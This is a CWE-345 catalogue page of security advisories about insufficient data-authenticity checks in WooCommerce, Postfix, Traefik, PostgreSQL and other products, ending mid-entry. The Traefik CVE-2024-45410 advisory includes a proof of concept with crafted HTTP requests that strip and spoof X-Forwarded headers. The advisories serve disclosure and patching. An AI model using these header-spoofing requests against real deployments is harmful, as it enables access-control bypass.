CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
948 vulnerabilities reference this CWE, most recent first.
GHSA-5WFJ-9RWM-6F4W
Vulnerability from github – Published: 2024-06-04 06:30 – Updated: 2024-06-04 06:30The Authorize.net Payment Gateway For WooCommerce plugin for WordPress is vulnerable to payment bypass in all versions up to, and including, 8.0. This is due to the plugin not properly verifying the authenticity of the request that updates a orders payment status. This makes it possible for unauthenticated attackers to update order payment statuses to paid bypassing any payment.
{
"affected": [],
"aliases": [
"CVE-2024-2382"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-04T06:15:09Z",
"severity": "MODERATE"
},
"details": "The Authorize.net Payment Gateway For WooCommerce plugin for WordPress is vulnerable to payment bypass in all versions up to, and including, 8.0. This is due to the plugin not properly verifying the authenticity of the request that updates a orders payment status. This makes it possible for unauthenticated attackers to update order payment statuses to paid bypassing any payment.",
"id": "GHSA-5wfj-9rwm-6f4w",
"modified": "2024-06-04T06:30:37Z",
"published": "2024-06-04T06:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2382"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/authorizenet-payment-gateway-for-woocommerce/trunk/index.php#L205"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4ab71d24-0409-421b-8abf-f4d5390a32a1?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5WJ2-9PM2-74VM
Vulnerability from github – Published: 2022-05-24 17:16 – Updated: 2022-05-24 17:16** DISPUTED ** A certain Postfix 2.10.1-7 package could allow an attacker to send an email from an arbitrary-looking sender via a homoglyph attack, as demonstrated by the similarity of \xce\xbf to the 'o' character. This is potentially relevant when the /etc/postfix/sender_login feature is used, because a spoofed outbound message that uses a configured sender address is blocked with a "Sender address rejected: not logged in" error message, but a spoofed outbound message that uses a homoglyph of a configured sender address is not blocked. NOTE: some third parties argue that any missed blocking of spoofed outbound messages - except for exact matches to a sender address in the /etc/postfix/sender_login file - is outside the design goals of Postfix and thus cannot be considered a Postfix vulnerability.
{
"affected": [],
"aliases": [
"CVE-2020-12063"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-24T12:15:00Z",
"severity": "MODERATE"
},
"details": "** DISPUTED ** A certain Postfix 2.10.1-7 package could allow an attacker to send an email from an arbitrary-looking sender via a homoglyph attack, as demonstrated by the similarity of \\xce\\xbf to the \u0027o\u0027 character. This is potentially relevant when the /etc/postfix/sender_login feature is used, because a spoofed outbound message that uses a configured sender address is blocked with a \"Sender address rejected: not logged in\" error message, but a spoofed outbound message that uses a homoglyph of a configured sender address is not blocked. NOTE: some third parties argue that any missed blocking of spoofed outbound messages - except for exact matches to a sender address in the /etc/postfix/sender_login file - is outside the design goals of Postfix and thus cannot be considered a Postfix vulnerability.",
"id": "GHSA-5wj2-9pm2-74vm",
"modified": "2022-05-24T17:16:25Z",
"published": "2022-05-24T17:16:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12063"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2020/04/23/12"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2020/04/23/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5X8W-VV68-5W4W
Vulnerability from github – Published: 2024-11-23 03:31 – Updated: 2024-11-23 03:31Visteon Infotainment VIP MCU Code Insufficient Validation of Data Authenticity Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Visteon Infotainment systems. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The specific flaw exists within the firmware update process of the VIP microcontroller. The process does not properly verify authenticity of the supplied firmware image before programming it into internal memory. An attacker can leverage this vulnerability to escalate privileges execute arbitrary code in the context of the VIP MCU. Was ZDI-CAN-23758.
{
"affected": [],
"aliases": [
"CVE-2024-8356"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T22:15:18Z",
"severity": "HIGH"
},
"details": "Visteon Infotainment VIP MCU Code Insufficient Validation of Data Authenticity Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Visteon Infotainment systems. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the firmware update process of the VIP microcontroller. The process does not properly verify authenticity of the supplied firmware image before programming it into internal memory. An attacker can leverage this vulnerability to escalate privileges execute arbitrary code in the context of the VIP MCU. Was ZDI-CAN-23758.",
"id": "GHSA-5x8w-vv68-5w4w",
"modified": "2024-11-23T03:31:59Z",
"published": "2024-11-23T03:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8356"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1188"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5XC3-HRWR-2P8H
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04A vulnerability has been identified in Mendix SAML Module (All versions < V2.1.2). The configuration of the SAML module does not properly check various restrictions and validations imposed by an identity provider. This could allow a remote authenticated attacker to escalate privileges.
{
"affected": [],
"aliases": [
"CVE-2021-33712"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-08T20:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in Mendix SAML Module (All versions \u003c V2.1.2). The configuration of the SAML module does not properly check various restrictions and validations imposed by an identity provider. This could allow a remote authenticated attacker to escalate privileges.",
"id": "GHSA-5xc3-hrwr-2p8h",
"modified": "2022-05-24T19:04:17Z",
"published": "2022-05-24T19:04:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33712"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-522654.pdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5XPQ-F27X-7PW7
Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11The ParseRoster component in the Ignite Realtime Smack XMPP API before 4.0.0-rc1 does not verify the from attribute of a roster-query IQ stanza, which allows remote attackers to spoof IQ responses via a crafted attribute.
{
"affected": [],
"aliases": [
"CVE-2014-0364"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-04-30T10:49:00Z",
"severity": "MODERATE"
},
"details": "The ParseRoster component in the Ignite Realtime Smack XMPP API before 4.0.0-rc1 does not verify the from attribute of a roster-query IQ stanza, which allows remote attackers to spoof IQ responses via a crafted attribute.",
"id": "GHSA-5xpq-f27x-7pw7",
"modified": "2022-05-13T01:11:39Z",
"published": "2022-05-13T01:11:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0364"
},
{
"type": "WEB",
"url": "http://community.igniterealtime.org/blogs/ignite/2014/04/17/asmack-400-rc1-has-been-released"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1176.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/59290"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/59291"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/489228"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/67124"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-626Q-V9J4-MCP4
Vulnerability from github – Published: 2023-02-02 16:59 – Updated: 2024-10-07 21:19Cause
is_valid_eth_signature is missing a call to finalize_keccak after calling verify_eth_signature.
Impact
As a result, any contract using is_valid_eth_signature from the account library (such as the EthAccount preset) is vulnerable to a malicious sequencer. Specifically, the malicious sequencer would be able to bypass signature validation to impersonate an instance of these accounts.
Risk
In order to exploit this vulnerability, it is required to control a sequencer or prover since they're the ones executing the hints, being able to inject incorrect keccak results.
Today StarkWare is the only party running both a prover or a sequencer, greatly reducing the risk of exploit.
Patches
The issue has been patched in 0.6.1.
For more information
If you have any questions or comments about this advisory: * Open an issue in the Contracts for Cairo repository * Email us at security@openzeppelin.com
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "openzeppelin-cairo-contracts"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-23940"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-02T16:59:46Z",
"nvd_published_at": "2023-02-03T20:15:00Z",
"severity": "MODERATE"
},
"details": "### Cause\n`is_valid_eth_signature` is missing a call to `finalize_keccak` after calling `verify_eth_signature`. \n\n### Impact\nAs a result, any contract using `is_valid_eth_signature` from the account library (such as the `EthAccount` preset) is vulnerable to a malicious sequencer. Specifically, the malicious sequencer would be able to bypass signature validation to impersonate an instance of these accounts.\n\n### Risk\nIn order to exploit this vulnerability, it is required to control a sequencer or prover since they\u0027re the ones executing the hints, being able to inject incorrect keccak results.\n\nToday StarkWare is the only party running both a prover or a sequencer, greatly reducing the risk of exploit.\n\n### Patches\nThe issue has been patched in 0.6.1.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Contracts for Cairo repository](https://github.com/OpenZeppelin/cairo-contracts/issues/new/choose)\n* Email us at [security@openzeppelin.com](mailto:security@openzeppelin.com)",
"id": "GHSA-626q-v9j4-mcp4",
"modified": "2024-10-07T21:19:33Z",
"published": "2023-02-02T16:59:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/cairo-contracts/security/advisories/GHSA-626q-v9j4-mcp4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23940"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/cairo-contracts/pull/542/commits/6d4cb750478fca2fd916f73297632f899aca9299"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenZeppelin/cairo-contracts"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/openzeppelin-cairo-contracts/PYSEC-2023-39.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenZeppelin Contracts contains Improper Verification of Cryptographic Signature"
}
GHSA-62C8-MH53-4CQV
Vulnerability from github – Published: 2024-09-19 14:48 – Updated: 2024-09-25 19:29Impact
There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.9
- https://github.com/traefik/traefik/releases/tag/v3.1.3
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified. For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed: Connection: close, X-Forwarded-Host Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "_" signs, making it possible for the HTTP client to even modify these headers in these cases. This is similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server. ### Details It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Server - X-Real-Ip - X-Forwarded-Tls-Client-Cert - X-Forwarded-Tls-Client-Cert-Info ### PoC The following docker-compose file has been used for a simple setup:services:
traefik:
image: traefik:v3.1
container_name: traefik
ports:
- "443:443"
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
- ./traefik.yaml:/etc/traefik/traefik.yaml
- ./traefik-certs:/certs
python-http:
build:
context: .
dockerfile: Dockerfile
container_name: python-http
labels:
- "traefik.enable=true"
- "traefik.http.routers.python-http.rule=Host(`python.example.com`)"
- "traefik.http.routers.python-http.entrypoints=websecure"
- "traefik.http.routers.python-http.tls=true"
- "traefik.http.services.python-http.loadbalancer.server.port=8080"
providers:
docker:
exposedByDefault: false
watch: true
file:
fileName: /etc/traefik/traefik.yaml
watch: true
entryPoints:
websecure:
address: ":443"
tls:
certificates:
- certFile: /certs/server-cert.pem
keyFile: /certs/server-key.pem
FROM python:3-alpine
# Copy the Python script to the container
COPY server.py /server.py
# Set the working directory
WORKDIR /
# Command to run the Python server
CMD ["python", "/server.py"]
The environment is run with `sudo docker-compose up`.
A normal HTTP request/response pair looks like this:
**Request 1**
**Response 1**
The custom headers added by Traefik can be seen in the response.
Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:
**Request 2**
**Response 2**
As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.
Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:
**Request 3**
**Response 3**
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta3"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45410"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-348"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-19T14:48:10Z",
"nvd_published_at": "2024-09-19T23:15:11Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nThere is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.9\n- https://github.com/traefik/traefik/releases/tag/v3.1.3\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n### Summary\n\nWhen a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.\n\nFor HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:\n\nConnection: close, X-Forwarded-Host\n\nDepending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the \"-\" to \"_\" signs, making it possible for the HTTP client to even modify these headers in these cases.\n\nThis is similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server.\n\n### Details\n\nIt was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):\n\n- X-Forwarded-Host\n- X-Forwarded-Port\n- X-Forwarded-Proto\n- X-Forwarded-Server\n- X-Real-Ip\n- X-Forwarded-Tls-Client-Cert\n- X-Forwarded-Tls-Client-Cert-Info\n\n### PoC\n\nThe following docker-compose file has been used for a simple setup:\n\n```\nservices:\n traefik:\n image: traefik:v3.1\n container_name: traefik\n ports:\n - \"443:443\"\n volumes:\n - /var/run/docker.sock:/var/run/docker.sock:ro\n - ./traefik.yaml:/etc/traefik/traefik.yaml\n - ./traefik-certs:/certs\n\n python-http:\n build:\n context: .\n dockerfile: Dockerfile\n container_name: python-http\n labels:\n - \"traefik.enable=true\"\n - \"traefik.http.routers.python-http.rule=Host(`python.example.com`)\"\n - \"traefik.http.routers.python-http.entrypoints=websecure\"\n - \"traefik.http.routers.python-http.tls=true\"\n - \"traefik.http.services.python-http.loadbalancer.server.port=8080\"\n```\n\nThe following traefik.yaml has been used:\n\n```\nproviders:\n docker:\n exposedByDefault: false\n watch: true\n file:\n fileName: /etc/traefik/traefik.yaml\n watch: true\n\nentryPoints:\n websecure:\n address: \":443\"\n\ntls:\n certificates:\n - certFile: /certs/server-cert.pem\n keyFile: /certs/server-key.pem\n```\n\nThe Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:\n\n```\nFROM python:3-alpine\n\n# Copy the Python script to the container\nCOPY server.py /server.py\n\n# Set the working directory\nWORKDIR /\n\n# Command to run the Python server\nCMD [\"python\", \"/server.py\"]\n```\n\nAnd here is the Python script:\n\n```\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RequestHandler(BaseHTTPRequestHandler):\n def _send_response(self):\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(str(self.headers).encode(\"utf-8\"))\n\n def do_GET(self):\n self._send_response()\n\nif __name__ == \"__main__\":\n server = HTTPServer((\u00270.0.0.0\u0027, 8080), RequestHandler)\n print(\"Server started on port 8080\")\n server.serve_forever()\n````\n\nThe environment is run with `sudo docker-compose up`.\n\nA normal HTTP request/response pair looks like this:\n\n**Request 1**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close\n````\n\n**Response 1**\n\n````\nHTTP/1.1 200 OK\nContent-Type: text/plain\nDate: Tue, 03 Sep 2024 06:53:49 GMT\nServer: BaseHTTP/0.6 Python/3.12.5\nConnection: close\nContent-Length: 556\n\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Host: python.example.com\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nThe custom headers added by Traefik can be seen in the response.\n\nNext, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:\n\n**Request 2**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close, X-Forwarded-Host\n````\n\n**Response 2**\n\n````\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nAs can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.\n\nMoreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:\n\n**Request 3**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX_Forwarded_Host: myhost\nConnection: close, X-Forwarded-Host\n````\n\n**Response 3**\n\n````\nHTTP/1.1 200 OK\nContent-Type: text/plain\nDate: Tue, 03 Sep 2024 06:54:48 GMT\nServer: BaseHTTP/0.6 Python/3.12.5\nConnection: close\nContent-Length: 544\n\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\nX_forwarded_host: myhost\n````\n\nSome backend frameworks (e.g. Django) handle X-Forwarded-Host and X_forwarded_host in the same way. As there is no X-Forwarded-Host header present in the request, the X_forwarded_host header will be used. \n\nIt should be noted that when X-Forwarded-Host is present and a X_forwarded_host header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.\n\nIt should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.\n\n### Impact\n\nAll applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.\n\nIf the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and \"-\" to \"_\"), an attacker can place his own X_Forwarded_TLS_Client_Cert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.\n\nMoreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).\n\nThe severity is the same as for [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server, i.e. 9.8 Critical.\n\u003c/details\u003e",
"id": "GHSA-62c8-mh53-4cqv",
"modified": "2024-09-25T19:29:53Z",
"published": "2024-09-19T14:48:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45410"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/584144100524277829f26219baaab29a53b8134f"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.9"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "HTTP client can manipulate custom HTTP headers that are added by Traefik"
}
GHSA-62Q4-HC79-94QJ
Vulnerability from github – Published: 2024-11-14 15:32 – Updated: 2025-11-04 00:32Client use of server error message in PostgreSQL allows a server not trusted under current SSL or GSS settings to furnish arbitrary non-NUL bytes to the libpq application. For example, a man-in-the-middle attacker could send a long error message that a human or screen-scraper user of psql mistakes for valid query results. This is probably not a concern for clients where the user interface unambiguously indicates the boundary between one error message and other text. Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.
{
"affected": [],
"aliases": [
"CVE-2024-10977"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-348"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-14T13:15:04Z",
"severity": "LOW"
},
"details": "Client use of server error message in PostgreSQL allows a server not trusted under current SSL or GSS settings to furnish arbitrary non-NUL bytes to the libpq application. For example, a man-in-the-middle attacker could send a long error message that a human or screen-scraper user of psql mistakes for valid query results. This is probably not a concern for clients where the user interface unambiguously indicates the boundary between one error message and other text. Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.",
"id": "GHSA-62q4-hc79-94qj",
"modified": "2025-11-04T00:32:03Z",
"published": "2024-11-14T15:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10977"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00011.html"
},
{
"type": "WEB",
"url": "https://www.postgresql.org/support/security/CVE-2024-10977"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6384-M2MW-RF54
Vulnerability from github – Published: 2026-04-24 16:31 – Updated: 2026-05-06 21:24Summary
There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.
While X-Forwarded-* headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.
When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43
- https://github.com/traefik/traefik/releases/tag/v3.6.14
- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description ### Summary `ForwardAuth` with `trustForwardHeader=false` still forwards an attacker-controlled `X-Forwarded-Prefix` header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on `X-Forwarded-Prefix` for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes. This was validated this against Traefik `v3.6.12` using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the `ForwardAuth` subrequest handling rather than general ingress header stripping. ### Details The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server. In [`pkg/middlewares/auth/forward.go`](pkg/middlewares/auth/forward.go), `writeHeader` first copies all incoming request headers into the auth subrequest:func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {
utils.CopyHeaders(forwardReq.Header, req.Header)
...
forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)
func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {
req.Header.Add(ForwardedPrefixHeader, prefix)
[entryPoints]
[entryPoints.web]
address = ":80"
[entryPoints.web.forwardedHeaders]
trustedIPs = ["172.31.79.0/24"]
[providers]
[providers.file]
filename = "/etc/traefik/dynamic.toml"
watch = false
[log]
level = "DEBUG"
[accessLog]
[http.routers]
[http.routers.app]
entryPoints = ["web"]
rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
